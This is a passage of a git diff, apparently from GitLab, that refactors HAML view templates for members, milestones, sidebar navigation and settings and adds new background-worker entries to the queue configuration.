+ = sortable_item(sort_title_merged_date, page_filter_path(sort: sort_value_merged_date), sort_title) if viewing_merge_requests
= sortable_item(sort_title_relative_position, page_filter_path(sort: sort_value_relative_position), sort_title) if viewing_issues
= render_if_exists('shared/ee/issuable/sort_dropdown', viewing_issues: viewing_issues, sort_title: sort_title)
= issuable_sort_direction_button(sort_value)
diff --git a/app/views/shared/issue_type/_details_content.html.haml b/app/views/shared/issue_type/_details_content.html.haml
index ceedb5e5c59..0bf002fbbc5 100644
--- a/app/views/shared/issue_type/_details_content.html.haml
+++ b/app/views/shared/issue_type/_details_content.html.haml
@@ -20,6 +20,9 @@
#js-related-merge-requests{ data: { endpoint: expose_path(api_v4_projects_issues_related_merge_requests_path(id: @project.id, issue_iid: issuable.iid)), project_namespace: @project.namespace.path, project_path: @project.path } }
+ - if can?(current_user, :admin_feature_flags_issue_links, @project)
+ = render_if_exists 'projects/issues/related_feature_flags'
+
- if can?(current_user, :download_code, @project)
- add_page_startup_api_call related_branches_path
#related-branches{ data: { url: related_branches_path } }
diff --git a/app/views/shared/members/_group.html.haml b/app/views/shared/members/_group.html.haml
deleted file mode 100644
index 2aac3a94c49..00000000000
--- a/app/views/shared/members/_group.html.haml
+++ /dev/null
@@ -1,50 +0,0 @@
-- group_link = local_assigns[:group_link]
-- group = group_link.shared_with_group
-- can_admin_member = local_assigns[:can_admin_member]
-- group_link_path = local_assigns[:group_link_path]
-- dom_id = "group_member_#{group_link.id}"
-
--# Note this is just for groups. For individual members please see shared/members/_member
-
-%li.member.js-member.group_member.py-2.px-3.d-flex.flex-column.flex-md-row{ id: dom_id, data: { qa_selector: 'group_row' } }
- %span.list-item-name.mb-2.m-md-0
- = group_icon(group, class: "avatar s40 flex-shrink-0 flex-grow-0", alt: '')
- .user-info
- = link_to group.full_name, group_path(group), class: 'member'
- .cgray
- Given access #{time_ago_with_tooltip(group_link.created_at)}
- %span.js-expires-in{ class: ('gl-display-none' unless group_link.expires?) }
- &middot;
- %span.js-expires-in-text{ class: ('text-warning' if group_link.expires_soon?) }
- - if group_link.expires?
- = _("Expires in %{expires_at}").html_safe % { expires_at: distance_of_time_in_words_to_now(group_link.expires_at) }
- .controls.member-controls.align-items-center
- = form_tag group_link_path, method: :put, remote: true, class: 'js-edit-member-form form-group d-sm-flex' do
- = hidden_field_tag "group_link[group_access]", group_link.group_access
- .member-form-control.dropdown.mr-sm-2.d-sm-inline-block
- %button.dropdown-menu-toggle.js-member-permissions-dropdown{ type: "button",
- disabled: !can_admin_member,
- data: { toggle: "dropdown", field_name: "group_link[group_access]" } }
- %span.dropdown-toggle-text
- = group_link.human_access
- = sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
- .dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
- = dropdown_title(_("Change role"))
- .dropdown-content
- %ul
- - Gitlab::Access.options_with_owner.each do |role, role_id|
- %li
- = link_to role, '#',
- class: ("is-active" if group_link.group_access == role_id),
- data: { id: role_id, el_id: dom_id }
- .clearable-input.member-form-control.d-sm-inline-block
- = text_field_tag 'group_link[expires_at]', group_link.expires_at, class: 'form-control js-access-expiration-date js-member-update-control', placeholder: _('Expiration date'), id: "member_expires_at_#{group.id}", disabled: !can_admin_member
- = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
- - if can_admin_member
- = link_to group_link_path,
- method: :delete,
- data: { confirm: _("Are you sure you want to remove %{group_name}?") % { group_name: group.name }, qa_selector: 'delete_group_access_link' },
- class: 'gl-button btn btn-danger m-0 ml-sm-2 align-self-center' do
- %span.d-block.d-sm-none
- = _("Delete")
- = sprite_icon('remove', css_class: 'd-none d-sm-block')
diff --git a/app/views/shared/members/_manage_access_button.html.haml b/app/views/shared/members/_manage_access_button.html.haml
new file mode 100644
index 00000000000..13509a7480a
--- /dev/null
+++ b/app/views/shared/members/_manage_access_button.html.haml
@@ -0,0 +1,7 @@
+- path = local_assigns.fetch(:path, nil)
+
+.gl-float-right
+ = link_to path, class: 'btn btn-default btn-sm gl-button' do
+ = sprite_icon('pencil-square', css_class: 'gl-icon gl-button-icon')
+ %span.gl-button-text
+ = _('Manage access')
diff --git a/app/views/shared/members/_member.html.haml b/app/views/shared/members/_member.html.haml
index 8f334be0427..ba0e5e492f4 100644
--- a/app/views/shared/members/_member.html.haml
+++ b/app/views/shared/members/_member.html.haml
@@ -1,5 +1,4 @@
- show_roles = local_assigns.fetch(:show_roles, true)
-- show_controls = local_assigns.fetch(:show_controls, true)
- force_mobile_view = local_assigns.fetch(:force_mobile_view, false)
- member = local_assigns.fetch(:member)
- current_user_is_group_owner = local_assigns.fetch(:current_user_is_group_owner, false)
@@ -7,11 +6,10 @@
- group = local_assigns.fetch(:group)
- user = local_assigns.fetch(:user, member.user)
- source = member.source
-- override = member.try(:override)
-# Note this is just for individual members. For groups please see shared/members/_group
-%li.member.js-member.py-2.px-3.d-flex.flex-column{ class: [dom_class(member), ("is-overridden" if override), ("flex-md-row" unless force_mobile_view)], id: dom_id(member), data: { qa_selector: 'member_row' } }
+%li.member.js-member.py-2.px-3.d-flex.flex-column{ class: [dom_class(member), ("flex-md-row" unless force_mobile_view)], id: dom_id(member), data: { qa_selector: 'member_row' } }
%span.list-item-name.mb-2.m-md-0
- if user
= image_tag avatar_icon_for_user(user, 40), class: "avatar s40 flex-shrink-0 flex-grow-0", alt: ''
@@ -62,70 +60,4 @@
- if show_roles
.controls.member-controls.align-items-center
= render_if_exists 'shared/members/ee/ldap_tag', can_override: member.can_override?
- - if show_controls && member.source == membership_source
-
- - if member.can_resend_invite?
- = link_to sprite_icon('paper-airplane'), polymorphic_path([:resend_invite, member]),
- method: :post,
- class: 'gl-button btn btn-default align-self-center mr-sm-2',
- title: _('Resend invite')
-
- - if user != current_user && member.can_update?
- = form_for member, remote: true, html: { class: "js-edit-member-form form-group #{'d-sm-flex' unless force_mobile_view}" } do |f|
- = f.hidden_field :access_level
- .member-form-control.dropdown{ class: [("mr-sm-2 d-sm-inline-block" unless force_mobile_view)] }
- %button.dropdown-menu-toggle.js-member-permissions-dropdown{ type: "button",
- disabled: member.can_override? && !override,
- data: { toggle: "dropdown", field_name: "#{f.object_name}[access_level]", qa_selector: "access_level_dropdown" } }
- %span.dropdown-toggle-text
- = member.human_access
- = sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
- .dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
- = dropdown_title(_("Change role"))
- .dropdown-content
- %ul
- - member.valid_level_roles.each do |role, role_id|
- %li
- = link_to role, '#',
- class: ("is-active" if member.access_level == role_id),
- data: { id: role_id, el_id: dom_id(member), qa_selector: "#{role.downcase}_access_level_link" }
- = render_if_exists 'shared/members/ee/revert_ldap_group_sync_option',
- group: group,
- member: member,
- can_override: member.can_override?
- .clearable-input.member-form-control{ class: [("d-sm-inline-block" unless force_mobile_view)] }
- = f.text_field :expires_at,
- disabled: member.can_override? && !override,
- class: 'form-control js-access-expiration-date js-member-update-control',
- placeholder: _('Expiration date'),
- id: "member_expires_at_#{member.id}",
- data: { el_id: dom_id(member) }
- = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
- - else
- %span.member-access-text.user-access-role= member.human_access
-
- - if member.can_approve?
- = link_to polymorphic_path([:approve_access_request, member]),
- method: :post,
- class: "btn btn-confirm btn-icon gl-button align-self-center m-0 mb-2 #{'mb-sm-0 ml-sm-2' unless force_mobile_view}",
- title: _('Grant access') do
- %span{ class: ('d-block d-sm-none' unless force_mobile_view) }
- = _('Grant access')
- - unless force_mobile_view
- = sprite_icon('check', css_class: 'd-none d-sm-block')
-
- - if member.can_remove?
- - if current_user == user
- = link_to polymorphic_path([:leave, member.source, :members]), method: :delete, data: { confirm: leave_confirmation_message(member.source) }, class: "btn gl-button btn-svg btn-danger align-self-center m-0 #{'ml-sm-2' unless force_mobile_view}" do
- = sprite_icon('leave', css_class: 'gl-icon')
- = _('Leave')
- - else
- %button{ data: { member_path: member_path(member.member), member_type: member.type, message: remove_member_message(member), is_access_request: member.request?.to_s, qa_selector: 'delete_member_button' },
- class: "js-remove-member-button btn gl-button btn-danger align-self-center m-0 #{'ml-sm-2 btn-icon' unless force_mobile_view}",
- title: remove_member_title(member) }
- %span{ class: ('d-block d-sm-none' unless force_mobile_view) }
- = _("Delete")
- - unless force_mobile_view
- = sprite_icon('remove', css_class: 'd-none d-sm-block gl-icon')
- - else
- %span.member-access-text.user-access-role= member.human_access
+ %span.member-access-text.user-access-role= member.human_access
diff --git a/app/views/shared/members/_requests.html.haml b/app/views/shared/members/_requests.html.haml
index 3aa43ed1922..8b0a85656dc 100644
--- a/app/views/shared/members/_requests.html.haml
+++ b/app/views/shared/members/_requests.html.haml
@@ -1,20 +1,19 @@
- membership_source = local_assigns.fetch(:membership_source)
- requesters = local_assigns.fetch(:requesters)
-- force_mobile_view = local_assigns.fetch(:force_mobile_view, false)
- group = local_assigns.fetch(:group)
- current_user_is_group_owner = group && group.has_owner?(current_user)
- return if requesters.empty?
-.card.gl-mt-3{ class: ('card-mobile' if force_mobile_view ) }
+.card.gl-mt-3{ data: { testid: 'access-requests' } }
.card-header
= _("Users requesting access to")
%strong= membership_source.name
%span.badge.badge-pill= requesters.size
+ = render 'shared/members/manage_access_button', path: membership_source.is_a?(Project) ? project_project_members_path(@project, tab: 'access_requests') : group_group_members_path(@group, tab: 'access_requests')
%ul.content-list.members-list
= render partial: 'shared/members/member',
collection: requesters, as: :member,
locals: { membership_source: membership_source,
group: group,
- force_mobile_view: force_mobile_view,
current_user_is_group_owner: current_user_is_group_owner }
diff --git a/app/views/shared/members/_search_field.html.haml b/app/views/shared/members/_search_field.html.haml
deleted file mode 100644
index b1e3134f7aa..00000000000
--- a/app/views/shared/members/_search_field.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-- name = local_assigns.fetch(:name, :search)
-
-.search-control-wrap.gl-relative
- = search_field_tag name, params[name], { placeholder: _('Search'), class: 'form-control', spellcheck: false }
- %button.user-search-btn.border-left.gl-display-flex.gl-align-items-center.gl-justify-content-center{ type: 'submit', 'aria': { label: _('Submit search') }, data: { testid: 'user-search-submit' } }
- = sprite_icon('search')
diff --git a/app/views/shared/members/_sort_dropdown.html.haml b/app/views/shared/members/_sort_dropdown.html.haml
deleted file mode 100644
index 682e3a0433b..00000000000
--- a/app/views/shared/members/_sort_dropdown.html.haml
+++ /dev/null
@@ -1,19 +0,0 @@
-.dropdown.inline.qa-user-sort-dropdown{ data: { testid: 'user-sort-dropdown' } }
- = dropdown_toggle(member_sort_options_hash[@sort], { toggle: 'dropdown', testid: 'dropdown-toggle' })
- %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
- %li.dropdown-header
- = _("Sort by")
- - member_sort_options_hash.each do |value, title|
- %li
- = link_to filter_group_project_member_path(sort: value), class: ("is-active" if @sort == value) do
- = title
- %li.divider
- %li{ data: { testid: 'filter-members-with-inherited-permissions' } }
- = link_to filter_group_project_member_path(with_inherited_permissions: nil), class: ("is-active" unless params[:with_inherited_permissions].present?) do
- = _("Show all members")
- %li{ data: { testid: 'filter-members-with-inherited-permissions' } }
- = link_to filter_group_project_member_path(with_inherited_permissions: 'exclude'), class: ("is-active" if params[:with_inherited_permissions] == 'exclude') do
- = _("Show only direct members")
- %li{ data: { testid: 'filter-members-with-inherited-permissions' } }
- = link_to filter_group_project_member_path(with_inherited_permissions: 'only'), class: ("is-active" if params[:with_inherited_permissions] == 'only') do
- = _("Show only inherited members")
diff --git a/app/views/shared/milestones/_form_dates.html.haml b/app/views/shared/milestones/_form_dates.html.haml
index e0664c1feba..7a41e381a96 100644
--- a/app/views/shared/milestones/_form_dates.html.haml
+++ b/app/views/shared/milestones/_form_dates.html.haml
@@ -1,13 +1,11 @@
-.col-md-6
- .form-group.row
- .col-form-label.col-sm-2
- = f.label :start_date, _('Start Date')
- .col-sm-10
- = f.text_field :start_date, class: "datepicker form-control gl-form-input", data: { qa_selector: "start_date_field" }, placeholder: _('Select start date'), autocomplete: 'off'
- %a.inline.float-right.gl-mt-2.js-clear-start-date{ href: "#" }= _('Clear start date')
- .form-group.row
- .col-form-label.col-sm-2
- = f.label :due_date, _('Due Date')
- .col-sm-10
- = f.text_field :due_date, class: "datepicker form-control gl-form-input", data: { qa_selector: "due_date_field" }, placeholder: _('Select due date'), autocomplete: 'off'
- %a.inline.float-right.gl-mt-2.js-clear-due-date{ href: "#" }= _('Clear due date')
+.form-group.row
+ .col-form-label.col-sm-2
+ = f.label :start_date, _('Start Date')
+ .col-sm-4
+ = f.text_field :start_date, class: "datepicker form-control gl-form-input", data: { qa_selector: "start_date_field" }, placeholder: _('Select start date'), autocomplete: 'off'
+ %a.inline.float-right.gl-mt-2.js-clear-start-date{ href: "#" }= _('Clear start date')
+ .col-form-label.col-sm-2
+ = f.label :due_date, _('Due Date')
+ .col-sm-4
+ = f.text_field :due_date, class: "datepicker form-control gl-form-input", data: { qa_selector: "due_date_field" }, placeholder: _('Select due date'), autocomplete: 'off'
+ %a.inline.float-right.gl-mt-2.js-clear-due-date{ href: "#" }= _('Clear due date')
diff --git a/app/views/shared/milestones/_issuable.html.haml b/app/views/shared/milestones/_issuable.html.haml
index 184904dd7ab..12380d4c34e 100644
--- a/app/views/shared/milestones/_issuable.html.haml
+++ b/app/views/shared/milestones/_issuable.html.haml
@@ -25,3 +25,5 @@
= link_to polymorphic_path(issuable_type_args, { milestone_title: @milestone.title, assignee_id: assignee.id, state: 'all' }),
class: 'has-tooltip', title: _("Assigned to %{assignee_name}") % { assignee_name: assignee.name }, data: { container: 'body' } do
- image_tag(avatar_icon_for_user(assignee, 16), class: "avatar s16", alt: '')
+
+ = render_if_exists "shared/milestones/issuable_weight", issuable: issuable
diff --git a/app/views/shared/milestones/_issuables.html.haml b/app/views/shared/milestones/_issuables.html.haml
index 9147e1c50e3..460ddd0897c 100644
--- a/app/views/shared/milestones/_issuables.html.haml
+++ b/app/views/shared/milestones/_issuables.html.haml
@@ -4,11 +4,15 @@
.card
.card-header{ class: panel_class }
- .title
- = title
- - if show_counter
- .counter
- = number_with_delimiter(issuables.length)
+ .header.gl-mb-2
+ .title
+ = title
+ .issuable-count-weight.gl-ml-3
+ - if show_counter
+ %span.counter
+ = sprite_icon('issues', css_class: 'gl-vertical-align-text-bottom')
+ = number_with_delimiter(issuables.length)
+ = render_if_exists "shared/milestones/issuables_weight", issuables: issuables
- class_prefix = dom_class(issuables).pluralize
%ul{ class: "content-list milestone-#{class_prefix}-list", id: "#{class_prefix}-list-#{id}" }
diff --git a/app/views/shared/milestones/_milestone_complete_alert.html.haml b/app/views/shared/milestones/_milestone_complete_alert.html.haml
new file mode 100644
index 00000000000..1c25fae747e
--- /dev/null
+++ b/app/views/shared/milestones/_milestone_complete_alert.html.haml
@@ -0,0 +1,10 @@
+- milestone = local_assigns[:milestone]
+
+- if milestone.complete? && milestone.active?
+ = render 'shared/global_alert',
+ variant: :success,
+ is_contained: true,
+ alert_data: { testid: 'all-issues-closed-alert' },
+ dismissible: false do
+ .gl-alert-body
+ = yield
diff --git a/app/views/shared/milestones/_top.html.haml b/app/views/shared/milestones/_top.html.haml
index c37fdf0c98f..2709a39c475 100644
--- a/app/views/shared/milestones/_top.html.haml
+++ b/app/views/shared/milestones/_top.html.haml
@@ -5,11 +5,8 @@
= render 'shared/milestones/header', milestone: milestone
= render 'shared/milestones/description', milestone: milestone
-
-- if milestone.complete? && milestone.active?
- .gl-alert.gl-alert-success.gl-mt-3
- %span
- = _('All issues for this milestone are closed.')
- = group ? _('You may close the milestone now.') : _('Navigate to the project to close the milestone.')
+= render 'shared/milestones/milestone_complete_alert', milestone: milestone do
+ = _('All issues for this milestone are closed.')
+ = group ? _('You may close the milestone now.') : _('Navigate to the project to close the milestone.')
= render_if_exists 'shared/milestones/burndown', milestone: milestone, project: @project
diff --git a/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml b/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml
index ab4d8816ec9..cfa87351689 100644
--- a/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml
+++ b/app/views/shared/namespaces/cascading_settings/_enforcement_checkbox.html.haml
@@ -1,9 +1,10 @@
- attribute = local_assigns.fetch(:attribute, nil)
+- group = local_assigns.fetch(:group, nil)
- form = local_assigns.fetch(:form, nil)
- setting_locked = local_assigns.fetch(:setting_locked, false)
- help_text = local_assigns.fetch(:help_text, s_('CascadingSettings|Subgroups cannot change this setting.'))
-- return unless attribute && group && form && cascading_namespace_settings_enabled?
+- return unless attribute && group && form
- return if setting_locked
- lock_attribute = "lock_#{attribute}"
diff --git a/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml b/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml
index d27b3641637..83d602aba21 100644
--- a/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml
+++ b/app/views/shared/namespaces/cascading_settings/_setting_label_checkbox.html.haml
@@ -1,10 +1,11 @@
- attribute = local_assigns.fetch(:attribute, nil)
+- group = local_assigns.fetch(:group, nil)
- settings_path_helper = local_assigns.fetch(:settings_path_helper, nil)
- form = local_assigns.fetch(:form, nil)
- setting_locked = local_assigns.fetch(:setting_locked, false)
- help_text = local_assigns.fetch(:help_text, nil)
-- return unless attribute && form && settings_path_helper
+- return unless attribute && group && form && settings_path_helper
= form.label attribute, class: 'custom-control-label', aria: { disabled: setting_locked } do
= render 'shared/namespaces/cascading_settings/setting_label_container' do
diff --git a/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml b/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml
index 4a2ec9f30fd..66c760b466c 100644
--- a/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml
+++ b/app/views/shared/namespaces/cascading_settings/_setting_label_fieldset.html.haml
@@ -1,9 +1,10 @@
- attribute = local_assigns.fetch(:attribute, nil)
+- group = local_assigns.fetch(:group, nil)
- settings_path_helper = local_assigns.fetch(:settings_path_helper, nil)
- setting_locked = local_assigns.fetch(:setting_locked, false)
- help_text = local_assigns.fetch(:help_text, nil)
-- return unless attribute && settings_path_helper
+- return unless attribute && group && settings_path_helper
%legend.h5.gl-border-none.gl-m-0
= render 'shared/namespaces/cascading_settings/setting_label_container' do
diff --git a/app/views/shared/nav/_scope_menu.html.haml b/app/views/shared/nav/_scope_menu.html.haml
index cbee0e0429c..1a7089fb570 100644
--- a/app/views/shared/nav/_scope_menu.html.haml
+++ b/app/views/shared/nav/_scope_menu.html.haml
@@ -1,6 +1,6 @@
-- if sidebar_refactor_enabled?
- = nav_link(**scope_menu.active_routes, html_options: scope_menu.nav_link_html_options) do
- = render 'shared/nav/scope_menu_body', scope_menu: scope_menu
-- else
- .context-header
- = render 'shared/nav/scope_menu_body', scope_menu: scope_menu
+= nav_link(**scope_menu.active_routes, html_options: scope_menu.nav_link_html_options) do
+ = link_to scope_menu.link, **scope_menu.container_html_options, data: { qa_selector: 'sidebar_menu_link', qa_menu_item: scope_qa_menu_item(scope_menu.container) } do
+ %span{ class: scope_avatar_classes(scope_menu.container) }
+ = source_icon(scope_menu.container, alt: scope_menu.title, class: ['avatar', 'avatar-tile', 's32'], width: 32, height: 32)
+ %span.sidebar-context-title
+ = scope_menu.title
diff --git a/app/views/shared/nav/_scope_menu_body.html.haml b/app/views/shared/nav/_scope_menu_body.html.haml
deleted file mode 100644
index a94c681e2d3..00000000000
--- a/app/views/shared/nav/_scope_menu_body.html.haml
+++ /dev/null
@@ -1,8 +0,0 @@
-- avatar_size = sidebar_refactor_disabled? ? 40 : 32
-- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
-
-= link_to scope_menu.link, **scope_menu.container_html_options, data: { qa_selector: 'project_scope_link' } do
- %span{ class: ['avatar-container', 'rect-avatar', 'project-avatar', avatar_size_class] }
- = source_icon(scope_menu.container, alt: scope_menu.title, class: ['avatar', 'avatar-tile', avatar_size_class], width: avatar_size, height: avatar_size)
- %span.sidebar-context-title
- = scope_menu.title
diff --git a/app/views/shared/nav/_sidebar.html.haml b/app/views/shared/nav/_sidebar.html.haml
index 54c3b8a281d..915352996d9 100644
--- a/app/views/shared/nav/_sidebar.html.haml
+++ b/app/views/shared/nav/_sidebar.html.haml
@@ -1,15 +1,14 @@
%aside.nav-sidebar{ class: ('sidebar-collapsed-desktop' if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(sidebar.container), 'aria-label': sidebar.aria_label }
.nav-sidebar-inner-scroll
- - if sidebar.scope_menu && sidebar_refactor_disabled?
- = render partial: 'shared/nav/scope_menu', object: sidebar.scope_menu
- - elsif sidebar.render_raw_scope_menu_partial
- = render sidebar.render_raw_scope_menu_partial
-
- %ul.sidebar-top-level-items.qa-project-sidebar
- - if sidebar.scope_menu && sidebar_refactor_enabled?
+ %ul.sidebar-top-level-items{ data: { qa_selector: sidebar_qa_selector(sidebar.container) } }
+ - if sidebar.render_raw_scope_menu_partial
+ = render sidebar.render_raw_scope_menu_partial
+ - elsif sidebar.scope_menu
= render partial: 'shared/nav/scope_menu', object: sidebar.scope_menu
+
- if sidebar.renderable_menus.any?
= render partial: 'shared/nav/sidebar_menu', collection: sidebar.renderable_menus
+
- if sidebar.render_raw_menus_partial
= render sidebar.render_raw_menus_partial
diff --git a/app/views/shared/nav/_sidebar_menu.html.haml b/app/views/shared/nav/_sidebar_menu.html.haml
index b80bd515a32..9a04139d2f2 100644
--- a/app/views/shared/nav/_sidebar_menu.html.haml
+++ b/app/views/shared/nav/_sidebar_menu.html.haml
@@ -15,12 +15,12 @@
%ul.sidebar-sub-level-items{ class: ('is-fly-out-only' unless sidebar_menu.has_renderable_items?) }
= nav_link(**sidebar_menu.all_active_routes, html_options: { class: 'fly-out-top-item' } ) do
- - if sidebar_refactor_disabled?
- = link_to sidebar_menu.link, class: "'has-sub-items' if sidebar_menu.has_renderable_items?", **sidebar_menu.collapsed_container_html_options do
- = render 'shared/nav/sidebar_menu_collapsed', sidebar_menu: sidebar_menu
- - else
- %span.fly-out-top-item-container
- = render 'shared/nav/sidebar_menu_collapsed', sidebar_menu: sidebar_menu
+ %span.fly-out-top-item-container
+ %strong.fly-out-top-item-name
+ = sidebar_menu.title
+ - if sidebar_menu.has_pill?
+ %span.badge.badge-pill.count.fly-out-badge{ **sidebar_menu.pill_html_options }
+ = number_with_delimiter(sidebar_menu.pill_count)
- if sidebar_menu.has_renderable_items?
%li.divider.fly-out-top-item
diff --git a/app/views/shared/nav/_sidebar_menu_collapsed.html.haml b/app/views/shared/nav/_sidebar_menu_collapsed.html.haml
deleted file mode 100644
index 78567a991df..00000000000
--- a/app/views/shared/nav/_sidebar_menu_collapsed.html.haml
+++ /dev/null
@@ -1,5 +0,0 @@
-%strong.fly-out-top-item-name
- = sidebar_menu.title
-- if sidebar_menu.has_pill?
- %span.badge.badge-pill.count.fly-out-badge{ **sidebar_menu.pill_html_options }
- = number_with_delimiter(sidebar_menu.pill_count)
diff --git a/app/views/shared/snippets/_embed.html.haml b/app/views/shared/snippets/_embed.html.haml
index f698e1a301b..b5abd00b8fd 100644
--- a/app/views/shared/snippets/_embed.html.haml
+++ b/app/views/shared/snippets/_embed.html.haml
@@ -4,12 +4,12 @@
= external_snippet_icon('doc-text')
%strong.file-title-name
- %a.gitlab-embedded-snippets-title{ href: url_for(only_path: false, overwrite_params: nil) }
+ %a.gitlab-embedded-snippets-title{ href: url_for(only_path: false, overwrite_params: nil), target: '_blank', rel: 'noopener noreferrer' }
= blob.name
%small
= number_to_human_size(blob.size)
- %a.gitlab-logo-wrapper{ href: url_for(only_path: false, overwrite_params: nil), title: 'view on gitlab' }
+ %a.gitlab-logo-wrapper{ href: url_for(only_path: false, overwrite_params: nil), title: 'View on GitLab', target: '_blank', rel: 'noopener noreferrer' }
%img.gitlab-logo{ src: image_url('ext_snippet_icons/logo.svg'), alt: "GitLab logo" }
.file-actions.d-none.d-sm-block
diff --git a/app/views/shared/wikis/edit.html.haml b/app/views/shared/wikis/edit.html.haml
index 729646c2731..15710f0df49 100644
--- a/app/views/shared/wikis/edit.html.haml
+++ b/app/views/shared/wikis/edit.html.haml
@@ -18,7 +18,7 @@
.nav-controls.pb-md-3.pb-lg-0
- if @page.persisted?
- - if can?(current_user, :admin_wiki, @wiki.container)
+ - if can?(current_user, :create_wiki, @wiki.container)
#delete-wiki-modal-wrapper{ data: { delete_wiki_url: wiki_page_path(@wiki, @page), page_title: @page.human_title } }
= render 'shared/wikis/form', uploads_path: wiki_attachment_upload_url
diff --git a/app/views/users/unsubscribes/show.html.haml b/app/views/users/unsubscribes/show.html.haml
new file mode 100644
index 00000000000..8b3dc69f3a7
--- /dev/null
+++ b/app/views/users/unsubscribes/show.html.haml
@@ -0,0 +1,11 @@
+- page_title _("Unsubscribe"), _("Admin Notifications")
+%h3.page-title Unsubscribe from Admin notifications
+
+%hr
+= form_tag unsubscribe_path(Base64.urlsafe_encode64(@email)) do
+ %p
+ Yes, I want to unsubscribe
+ %strong= @email
+ from any further admin emails.
+ .form-actions
+ = submit_tag 'Unsubscribe', class: 'gl-button btn btn-confirm'
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index 31c590183d1..8d08beb56aa 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -247,6 +247,15 @@
:idempotent: true
:tags:
- :exclude_from_kubernetes
+- :name: cronjob:database_partition_management
+ :worker_name: Database::PartitionManagementWorker
+ :feature_category: :database
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: cronjob:environments_auto_stop_cron
:worker_name: Environments::AutoStopCronWorker
:feature_category: :continuous_delivery
@@ -265,9 +274,9 @@
:weight: 1
:idempotent:
:tags: []
-- :name: cronjob:gitlab_usage_ping
- :worker_name: GitlabUsagePingWorker
- :feature_category: :usage_ping
+- :name: cronjob:gitlab_service_ping
+ :worker_name: GitlabServicePingWorker
+ :feature_category: :service_ping
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1078,6 +1087,15 @@
:weight: 2
:idempotent: true
:tags: []
+- :name: jira_connect:jira_connect_forward_event
+ :worker_name: JiraConnect::ForwardEventWorker
+ :feature_category: :integrations
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: jira_connect:jira_connect_sync_branch
:worker_name: JiraConnect::SyncBranchWorker
:feature_category: :integrations
@@ -1085,7 +1103,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags: []
- :name: jira_connect:jira_connect_sync_builds
:worker_name: JiraConnect::SyncBuildsWorker
@@ -1094,7 +1112,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags:
- :exclude_from_kubernetes
- :name: jira_connect:jira_connect_sync_deployments
@@ -1104,7 +1122,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags:
- :exclude_from_kubernetes
- :name: jira_connect:jira_connect_sync_feature_flags
@@ -1114,7 +1132,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags:
- :exclude_from_kubernetes
- :name: jira_connect:jira_connect_sync_merge_request
@@ -1124,7 +1142,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags: []
- :name: jira_connect:jira_connect_sync_project
:worker_name: JiraConnect::SyncProjectWorker
@@ -1133,7 +1151,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags:
- :exclude_from_kubernetes
- :name: jira_importer:jira_import_advance_stage
@@ -1309,6 +1327,15 @@
:idempotent: true
:tags:
- :exclude_from_kubernetes
+- :name: package_repositories:packages_helm_extraction
+ :worker_name: Packages::Helm::ExtractionWorker
+ :feature_category: :package_registry
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: package_repositories:packages_maven_metadata_sync
:worker_name: Packages::Maven::Metadata::SyncWorker
:feature_category: :package_registry
@@ -1347,6 +1374,15 @@
:weight: 1
:idempotent:
:tags: []
+- :name: pipeline_background:ci_archive_trace
+ :worker_name: Ci::ArchiveTraceWorker
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: pipeline_background:ci_build_trace_chunk_flush
:worker_name: Ci::BuildTraceChunkFlushWorker
:feature_category: :continuous_integration
@@ -1567,6 +1603,15 @@
:weight: 5
:idempotent:
:tags: []
+- :name: pipeline_processing:ci_build_finished
+ :worker_name: Ci::BuildFinishedWorker
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :cpu
+ :weight: 5
+ :idempotent:
+ :tags: []
- :name: pipeline_processing:ci_build_prepare
:worker_name: Ci::BuildPrepareWorker
:feature_category: :continuous_integration
@@ -1601,7 +1646,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 5
- :idempotent:
+ :idempotent: true
:tags: []
- :name: pipeline_processing:pipeline_process
:worker_name: PipelineProcessWorker
diff --git a/app/workers/archive_trace_worker.rb b/app/workers/archive_trace_worker.rb
index 629526ec17c..ecde05f94dc 100644
--- a/app/workers/archive_trace_worker.rb
+++ b/app/workers/archive_trace_worker.rb
